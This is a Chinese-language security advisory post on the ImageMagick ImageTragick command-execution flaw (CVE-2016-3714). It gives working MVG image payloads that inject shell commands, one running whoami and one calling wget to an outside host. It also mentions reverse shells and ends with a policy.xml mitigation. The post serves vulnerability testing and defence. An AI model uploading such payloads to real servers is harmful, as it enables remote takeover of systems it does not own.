ImageMagick命令执行漏洞(CVE-2016–3714)
5月3日,ImageMagick官方披露称,目前ImageMagick存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而导致攻击者控制服务器。
ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。
著名的开源应用wordpress已经受此漏洞的影响,攻击者有上传图片的权限,就能直接获取wordpress应用服务器的管理权限。具体的测试方法参考
建议业务开发检查自身的web网站,如有使用ImageMagick进行图片处理、渲染,可以按照下文中的方法进行测试,重点检查头像上传、图片上传等功能。
具体的攻击代码如下:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|whoami")' pop graphic-context
只需要将以上内容保存成1.jpg,上传到存在漏洞的服务器,就可以执行whoami命令。
可以在centos下安装ImageMagick,用其convert命令才测试,安装:
yum install -y ImageMagick ImageMagick-devel
测试如图:
可以使用cloudeye来进行漏洞的检测,代码如下:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|wget http://www.xxx.cn/test.txt")' pop graphic-context
将以上内容保存成图片,上传到漏洞服务器,查看nxadmin.com的web日志,就可以确认是否存在此漏洞。
还可以直接反弹shell,修改命令即可,某站好像都被人玩坏了,修复速度略慢!关于漏洞的分析等方法参考老外的文章:
https://imagetragick.com/?from=timeline&isappinstalled=0&nsukey=b9PCChGjiQewRcBbKUWT%2FOoOgM2gsGA0Iw6%2FLku0qu9OLNgCD%2BVoc%2FeoqJV6abn85X6fi9bRA2VY7fa1XkNFKg%3D%3D
http://pastebin.com/aE4sKnCg
还有redrain大师傅的文章:
http://card.weibo.com/article/h5/s#cid=1001603971443670055277&vid=1775514755&extparam=&from=&wm=0&ip=65.255.33.53
wordpress的漏洞利用方法参考如下文章:
http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462421840979
防护建议(by imagetragick.com)
使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:
<policymap>
<policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
<policy domain=”coder” rights=”none” pattern=”URL” />
<policy domain=”coder” rights=”none” pattern=”HTTPS” />
<policy domain=”coder” rights=”none” pattern=”MVG” />
<policy domain=”coder” rights=”none” pattern=”MSL” />
</policymap>